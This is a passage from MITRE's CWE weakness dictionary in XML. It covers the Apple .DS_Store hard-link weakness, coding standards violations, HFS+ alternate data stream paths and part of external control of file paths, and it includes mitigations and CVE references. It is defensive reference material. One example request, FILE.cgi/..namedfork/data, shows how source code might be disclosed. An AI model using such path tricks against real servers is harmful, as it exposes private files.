				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Maintenance_Notes,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="71" Name="Apple '.DS_Store'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Software operating in a MAC OS environment, where .DS_Store is
					in effect, must carefully manage hard links, otherwise an attacker may be able
					to leverage a hard link from .DS_Store to overwrite arbitrary files and gain
					privileges.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>70</Relationship_Target_ID>
					          <!--Mac Virtual File Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>66</Relationship_Target_ID>
					          <!--Improper Handling of File Names that Identify Virtual Resources-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>62</Relationship_Target_ID>
					          <!--UNIX Hard Link-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry, which originated from PLOVER, probably stems from a common
						manipulation that is used to exploit symlink and hard link following
						weaknesses, like /etc/passwd is often used for UNIX-based exploits. As such,
						it is probably too low-level for inclusion in CWE.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>BUGTRAQ:20010910</Observed_Example_Reference>
					          <Observed_Example_Description>More security problems in Apache on Mac OS
						X</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0342</Observed_Example_Reference>
					          <Observed_Example_Description>The Finder in Mac OS X and earlier allows local
						users to overwrite arbitrary files and gain privileges by creating a hard
						link from the .DS_Store file to an arbitrary
						file.</Observed_Example_Description>
					          <Observed_Example_Link>http://nvd.nist.gov/nvd.cfm?cvename=CVE-2005-0342</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>DS - Apple '.DS_Store</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="710" Name="Coding Standards Violation" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not follow certain coding rules for
					development, which can lead to resultant weaknesses or increase the severity of
					the associated vulnerabilities.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Document and closely follow coding standards.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Where possible, use automated tools to enforce the standards.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="72" Name="Improper Handling of Apple HFS+ Alternate Data Stream Path" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly handle special paths that may
					identify the data or resource fork of a file on the HFS+ file
					system.</Description_Summary>
				        <Extended_Description>
					          <Text>If the software chooses actions to take based on the file name, then if an
						attacker provides the data or resource fork, the software may take
						unexpected actions. Further, if the software intends to restrict access to a
						file, then an attacker might still be able to bypass intended access
						restrictions by requesting the data or resource fork for that file.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>70</Relationship_Target_ID>
					          <!--Mac Virtual File Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>66</Relationship_Target_ID>
					          <!--Improper Handling of File Names that Identify Virtual Resources-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Mac OS"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>The Apple HFS+ file system permits files to have multiple data input
						streams, accessible through special paths. The Mac OS X operating system
						provides a way to access the different data input streams through special
						paths and as an extended attribute:</Text>
					          <Block>
						            <Text>- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated),
							xattr:com.apple.ResourceFork</Text>
						            <Text>- Data fork: file/..namedfork/data (only versions prior to Mac OS X
							v10.5)</Text>
					          </Block>
					          <Text>Additionally, on filesystems that lack native support for multiple
						streams, the resource fork and file metadata may be stored in a file with
						"._" prepended to the name.</Text>
					          <Text>Forks can also be accessed through non-portable APIs.</Text>
					          <Text>Forks inherit the file system access controls of the file they belong
						to.</Text>
					          <Text>Programs need to control access to these paths, if the processing of a
						file system object is dependent on the structure of its path.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>A web server that interprets FILE.cgi as processing instructions
						could disclose the source code for FILE.cgi by requesting
						FILE.cgi/..namedfork/data. This might occur because the web server invokes
						the default handler which may return the contents of the file.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1084</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to read files and
						resource fork content via HTTP requests to certain special file names
						related to multiple data streams in HFS+.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>This and similar problems exist because the same resource can have
						multiple identifiers that dictate which behavior can be performed on the
						resource. </Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Publisher>Apple Inc.</Reference_Publisher>
					          <Reference_Link>http://docs.info.apple.com/article.html?artnum=300422</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Apple HFS+ alternate data stream</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>David Remahl</Modifier>
					          <Modifier_Organization>Apple</Modifier_Organization>
					          <Modification_Date>2008-11-05</Modification_Date>
					          <Modification_Comment>clarified description, provided background details, and
						added demonstrative example</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Background_Details,
						Demonstrative_Examples, Description, Name, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-11-24">Apple HFS+ Alternate Data
						Stream</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Handle Apple HFS+
						Alternate Data Stream Path</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="73" Name="External Control of File Name or Path" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software allows user input to control or influence paths or
					file names that are used in filesystem operations.</Description_Summary>
				        <Extended_Description>
					          <Text>This could allow an attacker to access or modify system files or other
						files that are critical to the application.</Text>
					          <Text>Path manipulation errors occur when the following two conditions are
						met:</Text>
					          <Block>
						            <Text>1. An attacker can specify a path used in an operation on the
							filesystem.</Text>
						            <Text>2. By specifying the resource, the attacker gains a capability that
							would not otherwise be permitted.</Text>
					          </Block>
					          <Text>For example, the program may give the attacker the ability to overwrite
						the specified file or run with a configuration controlled by the attacker.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>642</Relationship_Target_ID>
					          <!--External Control of Critical State Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>610</Relationship_Target_ID>
					          <!--Externally Controlled Reference to a Resource in Another Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>22</Relationship_Target_ID>
					          <!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>98</Relationship_Target_ID>
					          <!--Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>434</Relationship_Target_ID>
					          <!--Unrestricted Upload of File with Dangerous Type-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The external control of filenames can be the primary link in chains with
						other file-related weaknesses, as seen in the CanPrecede relationships. This
						is because software systems use files for many different purposes: to
						execute programs, load code libraries, to store application data, to store
						configuration settings, record temporary data, act as signals or semaphores
						to other processes, etc.</Text>
					          <Text>However, those weaknesses do not always require external control. For
						example, link-following weaknesses (CWE-59) often involve pathnames that are
						not controllable by the attacker at all.</Text>
					          <Text>The external control can be resultant from other issues. For example, in
						PHP applications, the register_globals setting can allow an attacker to
						modify variables that the programmer thought were immutable, enabling file
						inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive
						privileges (CWE-250) might allow an attacker to specify an input filename
						that is not directly readable by the attacker, but is accessible to the
						privileged program. A buffer overflow (CWE-119) might give an attacker
						control over nearby memory locations that are related to pathnames, but were
						not directly modifiable by the attacker.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Prevalence="Often" Operating_System_Class_Description="UNIX"/>
					          <Operating_System_Class Prevalence="Often" Operating_System_Class_Description="Windows"/>
					          <Operating_System_Class Prevalence="Often" Operating_System_Class_Description="Mac OS"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The application can operate on unexpected files. Confidentiality is
							violated when the targeted filename is not directly readable by the
							attacker. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The application can operate on unexpected files. This may violate
							integrity if the filename is written to, or if the filename is for a
							program or other form of executable code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The application can operate on unexpected files. Availability can be
							violated if the attacker specifies an unexpected file that the
							application modifies. Availability can also be affected if the attacker
							specifies a filename for a large file, or points to a special device or
							a file that does not have the format that the application
							expects.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>The external control or influence of filenames can often be detected
							using automated static analysis that models data flow within the
							software.</Text>
						            <Text>Automated static analysis might not be able to recognize when proper
							input validation is being performed, leading to false positives - i.e.,
							warnings that do not have any security consequences or require any code
							changes.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When the set of filenames is limited or known, create a mapping from a
							set of fixed input values (such as numeric IDs) to the actual filenames,
							and reject all other inputs. For example, ID 1 could map to "inbox.txt"
							and ID 2 could map to "profile.txt". Features such as the ESAPI
							AccessReferenceMap provide this capability.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Run your code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict all access to files within a particular
							directory.</Text>
						            <Text>Examples include the Unix chroot jail and AppArmor. In general,
							managed code may provide some protection.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of your application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
